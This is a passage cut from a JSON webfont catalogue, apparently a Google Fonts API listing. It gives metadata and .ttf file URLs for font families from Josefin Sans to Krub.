"http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTtIJhKibpUV3MEQ.ttf", "500italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCThoJhKibpUV3MEQ.ttf", "600italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTaoVhKibpUV3MEQ.ttf", "700italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTU4VhKibpUV3MEQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Josefin Slab", "category": "serif", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/josefinslab/v10/lW-nwjwOK3Ps5GSJlNNkMalvyQ6qBM7oPxMX.ttf", "300": "http://fonts.gstatic.com/s/josefinslab/v10/lW-mwjwOK3Ps5GSJlNNkMalvASyKLuDkNgoO7g.ttf", "600": "http://fonts.gstatic.com/s/josefinslab/v10/lW-mwjwOK3Ps5GSJlNNkMalvdSqKLuDkNgoO7g.ttf", "700": "http://fonts.gstatic.com/s/josefinslab/v10/lW-mwjwOK3Ps5GSJlNNkMalvESuKLuDkNgoO7g.ttf", "100italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-lwjwOK3Ps5GSJlNNkMalnrzbODsrKOgMX95A.ttf", "300italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-kwjwOK3Ps5GSJlNNkMalnrzYGLOrgFA8e7onu.ttf", "regular": "http://fonts.gstatic.com/s/josefinslab/v10/lW-5wjwOK3Ps5GSJlNNkMalXrQSuJsv4Pw.ttf", "italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-nwjwOK3Ps5GSJlNNkMalnrw6qBM7oPxMX.ttf", "600italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-kwjwOK3Ps5GSJlNNkMalnrzZyKurgFA8e7onu.ttf", "700italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-kwjwOK3Ps5GSJlNNkMalnrzYWK-rgFA8e7onu.ttf" } }, { "kind": "webfonts#webfont", "family": "Jost", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900", "100italic", "200italic", "300italic", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v2", "lastModified": "2020-05-13", "files": { "100": "http://fonts.gstatic.com/s/jost/v2/92zPtBhPNqw79Ij1E865zBUv7myjJAVGPokMmuHL.ttf", "200": "http://fonts.gstatic.com/s/jost/v2/92zPtBhPNqw79Ij1E865zBUv7mwjJQVGPokMmuHL.ttf", "300": "http://fonts.gstatic.com/s/jost/v2/92zPtBhPNqw79Ij1E865zBUv7mz9JQVGPokMmuHL.ttf", "500": "http://fonts.gstatic.com/s/jost/v2/92zPtBhPNqw79Ij1E865zBUv7myRJQVGPokMmuHL.ttf", "600": "http://fonts.gstatic.com/s/jost/v2/92zPtBhPNqw79Ij1E865zBUv7mx9IgVGPokMmuHL.ttf", "700": "http://fonts.gstatic.com/s/jost/v2/92zPtBhPNqw79Ij1E865zBUv7mxEIgVGPokMmuHL.ttf", "800": "http://fonts.gstatic.com/s/jost/v2/92zPtBhPNqw79Ij1E865zBUv7mwjIgVGPokMmuHL.ttf", "900": "http://fonts.gstatic.com/s/jost/v2/92zPtBhPNqw79Ij1E865zBUv7mwKIgVGPokMmuHL.ttf", "regular": "http://fonts.gstatic.com/s/jost/v2/92zPtBhPNqw79Ij1E865zBUv7myjJQVGPokMmuHL.ttf", "100italic": "http://fonts.gstatic.com/s/jost/v2/92zJtBhPNqw73oHH7BbQp4-B6XlrZu0ENI0un_HLMEo.ttf", "200italic": "http://fonts.gstatic.com/s/jost/v2/92zJtBhPNqw73oHH7BbQp4-B6XlrZm0FNI0un_HLMEo.ttf", "300italic": "http://fonts.gstatic.com/s/jost/v2/92zJtBhPNqw73oHH7BbQp4-B6XlrZrMFNI0un_HLMEo.ttf", "italic": "http://fonts.gstatic.com/s/jost/v2/92zJtBhPNqw73oHH7BbQp4-B6XlrZu0FNI0un_HLMEo.ttf", "500italic": "http://fonts.gstatic.com/s/jost/v2/92zJtBhPNqw73oHH7BbQp4-B6XlrZt8FNI0un_HLMEo.ttf", "600italic": "http://fonts.gstatic.com/s/jost/v2/92zJtBhPNqw73oHH7BbQp4-B6XlrZjMCNI0un_HLMEo.ttf", "700italic": "http://fonts.gstatic.com/s/jost/v2/92zJtBhPNqw73oHH7BbQp4-B6XlrZgoCNI0un_HLMEo.ttf", "800italic": "http://fonts.gstatic.com/s/jost/v2/92zJtBhPNqw73oHH7BbQp4-B6XlrZm0CNI0un_HLMEo.ttf", "900italic": "http://fonts.gstatic.com/s/jost/v2/92zJtBhPNqw73oHH7BbQp4-B6XlrZkQCNI0un_HLMEo.ttf" } }, { "kind": "webfonts#webfont", "family": "Joti One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jotione/v8/Z9XVDmdJQAmWm9TwaYTe4u2El6GC.ttf" } }, { "kind": "webfonts#webfont", "family": "Jua", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jua/v8/co3KmW9ljjAjc-DZCsKgsg.ttf" } }, { "kind": "webfonts#webfont", "family": "Judson", "category": "serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v12", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/judson/v12/FeVSS0Fbvbc14Vxps5xQ3Z5nm29Gww.ttf", "regular": "http://fonts.gstatic.com/s/judson/v12/FeVRS0Fbvbc14VxRD7N01bV7kg.ttf", "italic": "http://fonts.gstatic.com/s/judson/v12/FeVTS0Fbvbc14VxhDblw97BrknZf.ttf" } }, { "kind": "webfonts#webfont", "family": "Julee", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/julee/v9/TuGfUVB3RpZPQ6ZLodgzydtk.ttf" } }, { "kind": "webfonts#webfont", "family": "Julius Sans One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/juliussansone/v8/1Pt2g8TAX_SGgBGUi0tGOYEga5W-xXEW6aGXHw.ttf" } }, { "kind": "webfonts#webfont", "family": "Junge", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/junge/v7/gokgH670Gl1lUqAdvhB7SnKm.ttf" } }, { "kind": "webfonts#webfont", "family": "Jura", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v14", "lastModified": "2020-02-05", "files": { "300": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP0D7auhTfmrH_rt.ttf", "500": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP1v7auhTfmrH_rt.ttf", "600": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP2D6quhTfmrH_rt.ttf", "700": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP266quhTfmrH_rt.ttf", "regular": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP1d7auhTfmrH_rt.ttf" } }, { "kind": "webfonts#webfont", "family": "Just Another Hand", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/justanotherhand/v11/845CNN4-AJyIGvIou-6yJKyptyOpOcr_BmmlS5aw.ttf" } }, { "kind": "webfonts#webfont", "family": "Just Me Again Down Here", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/justmeagaindownhere/v11/MwQmbgXtz-Wc6RUEGNMc0QpRrfUh2hSdBBMoAuwHvqDwc_fg.ttf" } }, { "kind": "webfonts#webfont", "family": "K2D", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v3", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/k2d/v3/J7aRnpF2V0ErE6UpvrIw74NL.ttf", "200": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Erv4QJlJw85ppSGw.ttf", "300": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Er24cJlJw85ppSGw.ttf", "500": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Erg4YJlJw85ppSGw.ttf", "600": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Err4EJlJw85ppSGw.ttf", "700": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Ery4AJlJw85ppSGw.ttf", "800": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Er14MJlJw85ppSGw.ttf", "100italic": "http://fonts.gstatic.com/s/k2d/v3/J7afnpF2V0EjdZ1NtLYS6pNLAjk.ttf", "200italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ3hlZY4xJ9CGyAa.ttf", "300italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ2FlpY4xJ9CGyAa.ttf", "regular": "http://fonts.gstatic.com/s/k2d/v3/J7aTnpF2V0ETd68tnLcg7w.ttf", "italic": "http://fonts.gstatic.com/s/k2d/v3/J7aRnpF2V0EjdaUpvrIw74NL.ttf", "500italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ3dl5Y4xJ9CGyAa.ttf", "600italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ3xkJY4xJ9CGyAa.ttf", "700italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ2VkZY4xJ9CGyAa.ttf", "800italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ2JkpY4xJ9CGyAa.ttf" } }, { "kind": "webfonts#webfont", "family": "Kadwa", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/kadwa/v4/rnCr-x5V0g7ipix7auM-mHnOSOuk.ttf", "regular": "http://fonts.gstatic.com/s/kadwa/v4/rnCm-x5V0g7iphTHRcc2s2XH.ttf" } }, { "kind": "webfonts#webfont", "family": "Kalam", "category": "handwriting", "variants": [ "300", "regular", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/kalam/v10/YA9Qr0Wd4kDdMtD6GgLLmCUItqGt.ttf", "700": "http://fonts.gstatic.com/s/kalam/v10/YA9Qr0Wd4kDdMtDqHQLLmCUItqGt.ttf", "regular": "http://fonts.gstatic.com/s/kalam/v10/YA9dr0Wd4kDdMuhWMibDszkB.ttf" } }, { "kind": "webfonts#webfont", "family": "Kameron", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/kameron/v10/vm8zdR7vXErQxuzniAIfC-3jfHb--NY.ttf", "regular": "http://fonts.gstatic.com/s/kameron/v10/vm82dR7vXErQxuznsL4wL-XIYH8.ttf" } }, { "kind": "webfonts#webfont", "family": "Kanit", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v5", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/kanit/v5/nKKX-Go6G5tXcr72GwWKcaxALFs.ttf", "200": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr5aOiWgX6BJNUJy.ttf", "300": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr4-OSWgX6BJNUJy.ttf", "500": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr5mOCWgX6BJNUJy.ttf", "600": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr5KPyWgX6BJNUJy.ttf", "700": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr4uPiWgX6BJNUJy.ttf", "800": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr4yPSWgX6BJNUJy.ttf", "900": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr4WPCWgX6BJNUJy.ttf", "100italic": "http://fonts.gstatic.com/s/kanit/v5/nKKV-Go6G5tXcraQI2GAdY5FPFtrGw.ttf", "200italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI82hVaRrMFJyAu4.ttf", "300italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI6miVaRrMFJyAu4.ttf", "regular": "http://fonts.gstatic.com/s/kanit/v5/nKKZ-Go6G5tXcoaSEQGodLxA.ttf", "italic": "http://fonts.gstatic.com/s/kanit/v5/nKKX-Go6G5tXcraQGwWKcaxALFs.ttf", "500italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI_GjVaRrMFJyAu4.ttf", "600italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI92kVaRrMFJyAu4.ttf", "700italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI7mlVaRrMFJyAu4.ttf", "800italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI6WmVaRrMFJyAu4.ttf", "900italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI4GnVaRrMFJyAu4.ttf" } }, { "kind": "webfonts#webfont", "family": "Kantumruy", "category": "sans-serif", "variants": [ "300", "regular", "700" ], "subsets": [ "khmer" ], "version": "v7", "lastModified": "2019-07-26", "files": { "300": "http://fonts.gstatic.com/s/kantumruy/v7/syk0-yJ0m7wyVb-f4FOPUtDlpn-UJ1H6Uw.ttf", "700": "http://fonts.gstatic.com/s/kantumruy/v7/syk0-yJ0m7wyVb-f4FOPQtflpn-UJ1H6Uw.ttf", "regular": "http://fonts.gstatic.com/s/kantumruy/v7/sykx-yJ0m7wyVb-f4FO3_vjBrlSILg.ttf" } }, { "kind": "webfonts#webfont", "family": "Karla", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v13", "lastModified": "2019-12-08", "files": { "700": "http://fonts.gstatic.com/s/karla/v13/qkBWXvYC6trAT7zuC_m-zrpHmRzC.ttf", "regular": "http://fonts.gstatic.com/s/karla/v13/qkBbXvYC6trAT4RSJN225aZO.ttf", "italic": "http://fonts.gstatic.com/s/karla/v13/qkBVXvYC6trAT7RQLtmU4LZOgAU.ttf", "700italic": "http://fonts.gstatic.com/s/karla/v13/qkBQXvYC6trAT7RQFmW7xL5lnAzCKNg.ttf" } }, { "kind": "webfonts#webfont", "family": "Karma", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/karma/v10/va9F4kzAzMZRGLjDY8Z_uqzGQC_-.ttf", "500": "http://fonts.gstatic.com/s/karma/v10/va9F4kzAzMZRGLibYsZ_uqzGQC_-.ttf", "600": "http://fonts.gstatic.com/s/karma/v10/va9F4kzAzMZRGLi3ZcZ_uqzGQC_-.ttf", "700": "http://fonts.gstatic.com/s/karma/v10/va9F4kzAzMZRGLjTZMZ_uqzGQC_-.ttf", "regular": "http://fonts.gstatic.com/s/karma/v10/va9I4kzAzMZRGIBvS-J3kbDP.ttf" } }, { "kind": "webfonts#webfont", "family": "Katibeh", "category": "display", "variants": [ "regular" ], "subsets": [ "arabic", "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/katibeh/v7/ZGjXol5MQJog4bxDaC1RVDNdGDs.ttf" } }, { "kind": "webfonts#webfont", "family": "Kaushan Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/kaushanscript/v8/vm8vdRfvXFLG3OLnsO15WYS5DF7_ytN3M48a.ttf" } }, { "kind": "webfonts#webfont", "family": "Kavivanar", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "tamil" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kavivanar/v5/o-0IIpQgyXYSwhxP7_Jb4j5Ba_2c7A.ttf" } }, { "kind": "webfonts#webfont", "family": "Kavoon", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kavoon/v8/pxiFyp4_scRYhlU4NLr6f1pdEQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Kdam Thmor", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kdamthmor/v7/MwQzbhjs3veF6QwJVf0JkGMViblPtXs.ttf" } }, { "kind": "webfonts#webfont", "family": "Keania One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/keaniaone/v7/zOL54pXJk65E8pXardnuycRuv-hHkOs.ttf" } }, { "kind": "webfonts#webfont", "family": "Kelly Slab", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kellyslab/v10/-W_7XJX0Rz3cxUnJC5t6TkMBf50kbiM.ttf" } }, { "kind": "webfonts#webfont", "family": "Kenia", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kenia/v11/jizURE5PuHQH9qCONUGswfGM.ttf" } }, { "kind": "webfonts#webfont", "family": "Khand", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/khand/v8/TwMN-IINQlQQ0bL5cFE3ZwaH__-C.ttf", "500": "http://fonts.gstatic.com/s/khand/v8/TwMN-IINQlQQ0bKhcVE3ZwaH__-C.ttf", "600": "http://fonts.gstatic.com/s/khand/v8/TwMN-IINQlQQ0bKNdlE3ZwaH__-C.ttf", "700": "http://fonts.gstatic.com/s/khand/v8/TwMN-IINQlQQ0bLpd1E3ZwaH__-C.ttf", "regular": "http://fonts.gstatic.com/s/khand/v8/TwMA-IINQlQQ0YpVWHU_TBqO.ttf" } }, { "kind": "webfonts#webfont", "family": "Khmer", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/khmer/v12/MjQImit_vPPwpF-BpN2EeYmD.ttf" } }, { "kind": "webfonts#webfont", "family": "Khula", "category": "sans-serif", "variants": [ "300", "regular", "600", "700", "800" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/khula/v5/OpNPnoEOns3V7G-ljCvUrC59XwXD.ttf", "600": "http://fonts.gstatic.com/s/khula/v5/OpNPnoEOns3V7G_RiivUrC59XwXD.ttf", "700": "http://fonts.gstatic.com/s/khula/v5/OpNPnoEOns3V7G-1iyvUrC59XwXD.ttf", "800": "http://fonts.gstatic.com/s/khula/v5/OpNPnoEOns3V7G-piCvUrC59XwXD.ttf", "regular": "http://fonts.gstatic.com/s/khula/v5/OpNCnoEOns3V7FcJpA_chzJ0.ttf" } }, { "kind": "webfonts#webfont", "family": "Kirang Haerang", "category": "display", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kiranghaerang/v8/E21-_dn_gvvIjhYON1lpIU4-bcqvWPaJq4no.ttf" } }, { "kind": "webfonts#webfont", "family": "Kite One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kiteone/v7/70lQu7shLnA_E02vyq1b6HnGO4uA.ttf" } }, { "kind": "webfonts#webfont", "family": "Knewave", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/knewave/v8/sykz-yx0lLcxQaSItSq9-trEvlQ.ttf" } }, { "kind": "webfonts#webfont", "family": "KoHo", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v3", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPuE1WJ75JoKhHys.ttf", "300": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPoU2WJ75JoKhHys.ttf", "500": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPt03WJ75JoKhHys.ttf", "600": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPvEwWJ75JoKhHys.ttf", "700": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPpUxWJ75JoKhHys.ttf", "200italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNisssJ_zIqCkDyvqZA.ttf", "300italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNiss1JzzIqCkDyvqZA.ttf", "regular": "http://fonts.gstatic.com/s/koho/v3/K2F-fZ5fmddNBikefJbSOos.ttf", "italic": "http://fonts.gstatic.com/s/koho/v3/K2FwfZ5fmddNNisUeLTXKou4Bg.ttf", "500italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNissjJ3zIqCkDyvqZA.ttf", "600italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNissoJrzIqCkDyvqZA.ttf", "700italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNissxJvzIqCkDyvqZA.ttf" } }, { "kind": "webfonts#webfont", "family": "Kodchasan", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v3", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJeR1Cggeqo3eMeoA.ttf", "300": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJeI1Oggeqo3eMeoA.ttf", "500": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJee1Kggeqo3eMeoA.ttf", "600": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJeV1Wggeqo3eMeoA.ttf", "700": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJeM1Sggeqo3eMeoA.ttf", "200italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUlIgOCs_-YOoIgN.ttf", "300italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUksg-Cs_-YOoIgN.ttf", "regular": "http://fonts.gstatic.com/s/kodchasan/v3/1cXxaUPOAJv9sG4I-DJmj3uEicG01A.ttf", "italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cX3aUPOAJv9sG4I-DJWjXGAq8Sk1PoH.ttf", "500italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUl0guCs_-YOoIgN.ttf", "600italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUlYheCs_-YOoIgN.ttf", "700italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUk8hOCs_-YOoIgN.ttf" } }, { "kind": "webfonts#webfont", "family": "Kosugi", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "japanese", "latin" ], "version": "v6", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/kosugi/v6/pxiFyp4_v8FCjlI4NLr6f1pdEQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Kosugi Maru", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "japanese", "latin" ], "version": "v6", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/kosugimaru/v6/0nksC9PgP_wGh21A2KeqGiTqivr9iBq_.ttf" } }, { "kind": "webfonts#webfont", "family": "Kotta One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kottaone/v7/S6u_w41LXzPc_jlfNWqPHA3s5dwt7w.ttf" } }, { "kind": "webfonts#webfont", "family": "Koulen", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/koulen/v13/AMOQz46as3KIBPeWgnA9kuYMUg.ttf" } }, { "kind": "webfonts#webfont", "family": "Kranky", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kranky/v10/hESw6XVgJzlPsFnMpheEZo_H_w.ttf" } }, { "kind": "webfonts#webfont", "family": "Kreon", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v22", "lastModified": "2020-02-05", "files": { "300": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2DnvPNimejUfp2dWNg.ttf", "500": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2DnvUNimejUfp2dWNg.ttf", "600": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2DnvvN-mejUfp2dWNg.ttf", "700": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2Dnvhd-mejUfp2dWNg.ttf", "regular": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2DnvYtimejUfp2dWNg.ttf" } }, { "kind": "webfonts#webfont", "family": "Kristi", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kristi/v11/uK_y4ricdeU6zwdRCh0TMv6EXw.ttf" } }, { "kind": "webfonts#webfont", "family": "Krona One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kronaone/v8/jAnEgHdjHcjgfIb1ZcUCMY-h3cWkWg.ttf" } }, { "kind": "webfonts#webfont", "family": "Krub", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v3", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZo47KLF4R6gWaf8.ttf", "300": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZuo4KLF4R6gWaf8.ttf", "500": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZrI5KLF4R6gWaf8.ttf", "600": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZp4-KLF4R6gWaf8.ttf", "700": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZvo_KLF4R6gWaf8.ttf", "200italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQiwLByQ4oTef_6gQ.ttf", "300italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQipLNyQ4oTef_6gQ.ttf", "regular": 